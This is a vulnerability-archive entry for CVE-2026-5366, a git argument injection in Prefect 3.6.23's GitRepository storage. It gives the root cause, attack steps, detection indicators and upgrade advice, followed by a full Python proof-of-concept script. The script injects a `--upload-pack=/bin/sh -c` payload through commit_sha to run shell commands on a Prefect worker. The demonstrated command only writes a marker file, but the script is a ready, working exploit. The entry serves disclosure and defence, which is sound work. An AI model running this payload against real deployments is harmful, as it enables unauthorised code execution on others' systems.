PoC Archive PoC Archive
High CVE-2026-5366 (Huntr bounty e2e88a0f-a8f6-49c9-94c5-e98dc385f07a) patched

Prefect GitRepository Git Argument Injection RCE via `commit_sha` — CVE-2026-5366

by renat0z3r0 · 2026-07-05

Severity
High
CVE
CVE-2026-5366 (Huntr bounty e2e88a0f-a8f6-49c9-94c5-e98dc385f07a)
Category
web
Affected product
Prefect (workflow orchestration platform), GitRepository storage class
Affected versions
3.6.23 (vulnerable); fixed in 3.6.25+
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcherrenat0z3r0
CVE / AdvisoryCVE-2026-5366 (Huntr bounty e2e88a0f-a8f6-49c9-94c5-e98dc385f07a)
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagsprefect, git, argument-injection, rce, upload-pack, workflow-orchestration, supply-chain, python
RelatedN/A

Affected Target

FieldValue
Software / SystemPrefect (workflow orchestration platform), GitRepository storage class
Versions Affected3.6.23 (vulnerable); fixed in 3.6.25+
Language / PlatformPython (prefect.runner.storage.GitRepository)
Authentication RequiredNo additional auth beyond ability to configure a GitRepository (e.g. via a flow/deployment definition)
Network Access RequiredNo — reproducible entirely offline against a local file:// git repo; only fires on local/ssh git transports, not https://

Summary

CVE-2026-5366 is a git argument-injection vulnerability in Prefect’s GitRepository storage class (src/prefect/runner/storage.py). The commit_sha parameter is stored verbatim with no validation beyond a branch/commit_sha mutual-exclusion check, then passed directly into git fetch origin <commit_sha> and git checkout <commit_sha> argument lists with no -- separator. Because git parses any leading-dash value as an option rather than a positional argument, a commit_sha of --upload-pack=/bin/sh -c '<command>' causes git to execute the attacker’s shell command locally in place of the real git-upload-pack helper when the repository is fetched over a local or ssh transport, achieving remote code execution on the Prefect worker. A sibling directories parameter is injectable in the same way but lands in git sparse-checkout set, which has no --upload-pack option, so it is argument injection without RCE.


Vulnerability Details

Root Cause

In src/prefect/runner/storage.py (3.6.23): commit_sha is assigned unvalidated at line 181, then used at pull_code() lines ~379/391 and _clone_repo() lines ~475/480 as ["git", "fetch", "origin", self._commit_sha] / ["git", "checkout", self._commit_sha] — an argument list (no shell) but with no -- separator, so a value starting with - is parsed by git as an option. directories (line ~191) is used similarly at pull_code() line ~360 / _clone_repo() line ~489 in ["git", "sparse-checkout", "set", *self._directories], also without a -- separator.

Attack Vector

  1. Construct/control a GitRepository(url=..., commit_sha=..., directories=...) object (e.g. via a Prefect deployment/flow configuration that accepts these fields).
  2. Ensure the destination directory does not already contain a .git (force-delete it) so Prefect takes the full _clone_repo() path rather than the “update existing repo” path.
  3. Set commit_sha to --upload-pack=/bin/sh -c '<attacker command>'.
  4. Trigger pull_code() / _clone_repo(); when the remote is reached over a local (file://) or ssh transport, git invokes the attacker’s program locally as the pack-transfer helper, executing arbitrary code on the Prefect worker before the (expected) subsequent git protocol error.

Impact

Remote code execution on the Prefect worker process under the identity running the flow/deployment, achievable via a single attacker-controlled commit_sha value with no shell metacharacters required (pure git argument injection).


Environment / Lab Setup

Target:   prefect==3.6.23 (vulnerable) installed in an isolated virtualenv/container
Attacker: Python 3.12, git in PATH; run_offline.sh builds a local file:// bare repo
          so the exploit fires without any network access

Proof of Concept

PoC Script

See poc.py and run_offline.sh in this folder.

1
2
3
4
5
python -m venv .venv-vuln && source .venv-vuln/bin/activate
pip install "prefect==3.6.23"

./run_offline.sh
POC_TARGET_REPO="file:///tmp/bare-repo.git" python poc.py

poc.py builds a --upload-pack=/bin/sh -c '...' payload for both the commit_sha and directories parameters, force-cleans the destination so Prefect takes the _clone_repo() path, constructs a GitRepository with the poisoned field, calls pull_code(), and checks for a timestamped marker file to confirm code execution; run_offline.sh provides a network-free file:// repo so the local-transport --upload-pack vector reliably fires.


Detection & IOCs

git fetch origin --upload-pack=<program> ...
git checkout --upload-pack=<program> ...
Unexpected child processes (/bin/sh, cmd.exe) spawned by a Prefect worker/agent process

Signs of compromise:

  • Prefect worker processes spawning shell interpreters as children shortly after a flow/deployment run referencing a GitRepository storage block.
  • commit_sha or directories values in flow/deployment definitions beginning with - (especially --upload-pack=).
  • Marker/side-effect files or outbound connections created during what should be a routine git fetch/checkout.

Remediation

ActionDetail
Primary fixUpgrade to Prefect >= 3.6.25, which validates commit_sha against ^[0-9a-fA-F]{4,64}$ (rejecting non-hash values at construction) and adds a -- separator before directories values in the git command.
Interim mitigationRestrict who can define/modify GitRepository storage blocks; validate commit_sha/directories values before they reach Prefect if using an older version.

References


Notes

Mirrored from https://github.com/renat0z3r0/prefect-cve-2026-5366 on 2026-07-05. The PoC only demonstrates RCE against local/ssh git transports (not the default https:// remote) — this is a property of --upload-pack, not a limitation of the PoC. Categorized under “web” to match this archive’s convention for workflow/orchestration-platform vulnerabilities (Prefect is a web-managed data/flow orchestration tool), though the exploited component is a backend git-storage integration rather than an HTTP endpoint.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
#!/usr/bin/env python3
"""
PoC for CVE-2026-5366: Git Argument Injection in Prefect (tag 3.6.23)

Fatto per voi da Renatino vostro, vi voglio bene tuttiiiiiiiii miei sorcini...

Vulnerable file: src/prefect/runner/storage.py (line numbers from the 3.6.23 tree).
In __init__, commit_sha (line 181) and directories (line 191) are stored without
validation; the only check is the branch/commit_sha mutual exclusion (line 174).

Attack vectors:
  commit_sha -> fetch/checkout (lines 379, 391, 475, 480)
  directories -> sparse-checkout set without a "--" separator (lines 360, 489)

A "--upload-pack=..." value makes git run that program locally during
fetch/checkout, giving RCE on the worker.

Usage:
    python poc.py
    POC_TARGET_REPO="file:///tmp/bare-repo.git" python poc.py   # offline

Needs a vulnerable install: pip install "prefect==3.6.23" (run isolated).
"""

import asyncio
import os
import shutil
import sys
import tempfile
import time
from dataclasses import dataclass
from pathlib import Path

try:
    from prefect.runner.storage import GitRepository
except ImportError as e:
    print("ERROR: Could not import GitRepository from prefect.")
    print("You must run this on a vulnerable version.")
    print("Example: pip install 'prefect==3.6.23'")
    print(f"Import error: {e}")
    sys.exit(1)


# Default target. git only honors --upload-pack on local/ssh transports, so the
# RCE fires against a file:// (or ssh) URL, not this https remote. Use
# run_offline.sh, or set POC_TARGET_REPO to a file:// repo, to see it pop.
TARGET_REPO = os.environ.get(
    "POC_TARGET_REPO", "https://github.com/octocat/Hello-World.git"
)

MARKER_GLOB = "prefect_rce_*.txt"
MARKER_DIR = Path(tempfile.gettempdir())


@dataclass(frozen=True)
class Vector:
    key: str  # tag used in marker/clone names, e.g. "COMMIT"
    param: str  # GitRepository kwarg to poison
    callsites: str  # call sites it reaches in 3.6.23
    expect_rce: bool  # whether this vector can actually run code


VECTORS = (
    Vector(
        key="COMMIT",
        param="commit_sha",
        callsites="fetch origin <sha> / checkout <sha> (lines 379/391/475/480)",
        expect_rce=True,
    ),
    # sparse-checkout set is a local command with no --upload-pack option, so
    # the payload is rejected as an unknown flag: argument injection, not RCE.
    Vector(
        key="DIRS",
        param="directories",
        callsites="sparse-checkout set <dir> without '--' (lines 360/489)",
        expect_rce=False,
    ),
)


def log(msg: str) -> None:
    print(f"[*] {msg}")


def build_payload(marker: Path, label: str) -> str:
    # git reads the leading '--upload-pack=' as an option and runs the program.
    return (
        f"--upload-pack=/bin/sh -c "
        f"'echo \"EXPLOITED via {label} $(date)\" > {marker} 2>&1 || true'"
    )


def unique_suffix() -> str:
    # nanosecond suffix so back-to-back runs don't collide
    return str(time.time_ns())


def force_clean_destination(dest: Path) -> None:
    # Delete the dest (and its .lock) so we hit the full _clone_repo() path
    # (clone --no-checkout, then fetch/checkout the malicious value) instead
    # of the "update" path taken when a .git already exists.
    if dest.exists():
        log(f"Cleaning existing destination: {dest}")
        shutil.rmtree(dest, ignore_errors=True)

    lock = dest.parent / (dest.name + ".lock")
    if lock.exists():
        lock.unlink(missing_ok=True)


def cleanup_markers() -> None:
    # drop marker files left by previous runs
    for marker in MARKER_DIR.glob(MARKER_GLOB):
        try:
            marker.unlink()
            log(f"Removed old marker: {marker}")
        except OSError as exc:
            log(f"Could not remove {marker}: {exc}")


def make_storage(vector: Vector, payload: str, clone_name: str) -> GitRepository:
    # poison exactly one parameter; both are stored unvalidated in 3.6.23
    kwargs = {"url": TARGET_REPO, "name": clone_name, "pull_interval": None}
    if vector.param == "commit_sha":
        kwargs["commit_sha"] = payload
    else:
        kwargs["directories"] = [payload]
    return GitRepository(**kwargs)


async def run_vector(vector: Vector) -> bool:
    # Run one vector end-to-end; True if the marker file got created.
    suffix = unique_suffix()
    marker = MARKER_DIR / f"prefect_rce_{vector.key}_{suffix}.txt"
    clone_name = f"prefect-poc-{vector.key.lower()}-{suffix}"
    dest = Path.cwd() / clone_name

    payload = build_payload(marker, vector.param)
    log(f"{vector.param} payload: {payload!r}")
    log(f"Target call sites: {vector.callsites}")

    # clean up before constructing the storage object
    force_clean_destination(dest)

    try:
        # on a patched version (>= 3.6.25) this raises ValueError, which is
        # itself the neutralization
        storage = make_storage(vector, payload, clone_name)
    except ValueError as exc:
        log(f"NEUTRALIZED ({vector.param}): rejected at construction -> {exc}")
        return False

    try:
        await storage.pull_code()
    except Exception as exc:
        # git fails (the upload-pack value isn't a real helper) but the side
        # effect already ran by then
        log(f"pull_code() raised (expected): {type(exc).__name__}")

    if marker.exists():
        log(f"SUCCESS ({vector.param}): marker created -> {marker}")
        try:
            print("    Content:", marker.read_text().strip())
        except OSError:
            pass
        return True

    if vector.expect_rce:
        log(f"FAILED ({vector.param}): no marker at {marker}")
    else:
        log(f"no marker ({vector.param}): expected, this vector is not RCE")
    return False


def status_for(vector: Vector, success: bool) -> str:
    if success:
        return "VULNERABLE: RCE achieved"
    if vector.expect_rce:
        return "no marker (patched or failed)"
    return "argument injection, non-RCE (expected)"


def print_summary(results: list[tuple[Vector, bool]]) -> None:
    print()
    print("=" * 72)
    print("SUMMARY")
    print("=" * 72)
    for vector, success in results:
        print(f"  {vector.param:12s}: {status_for(vector, success)}")

    if any(success for _, success in results):
        print("\n[+] SUCCESS: At least one RCE vector worked.")
        print(f"    Marker files left in {MARKER_DIR} for inspection.")
    else:
        print("\n[-] No RCE markers created.")
        print("    Possible reasons:")
        print("      - You are running a patched version (>= 3.6.25)")
        print("      - The clone dir was not cleaned properly")
        print("      - git not in PATH or permissions issue")

    print("\nCurrent markers found:")
    markers = sorted(MARKER_DIR.glob(MARKER_GLOB))
    if markers:
        for marker in markers:
            print(f"  {marker}")
    else:
        print("  (none)")

    print("\nRecommended cleanup when done:")
    print(f"  rm -f {MARKER_DIR / MARKER_GLOB}")
    print("  rm -rf prefect-poc-*/")


async def main() -> None:
    print("PoC for CVE-2026-5366 - Git Argument Injection (Prefect 3.6.23)")

    try:
        import prefect

        print(f"Prefect version detected: {prefect.__version__}")
    except Exception:
        print("Prefect version: unknown (running from source?)")

    print(f"Target repo: {TARGET_REPO}")
    print()

    cleanup_markers()

    results: list[tuple[Vector, bool]] = []
    for vector in VECTORS:
        log(f"=== VECTOR: {vector.param} ===")
        results.append((vector, await run_vector(vector)))
        print()

    print_summary(results)


if __name__ == "__main__":
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("\nInterrupted by user.")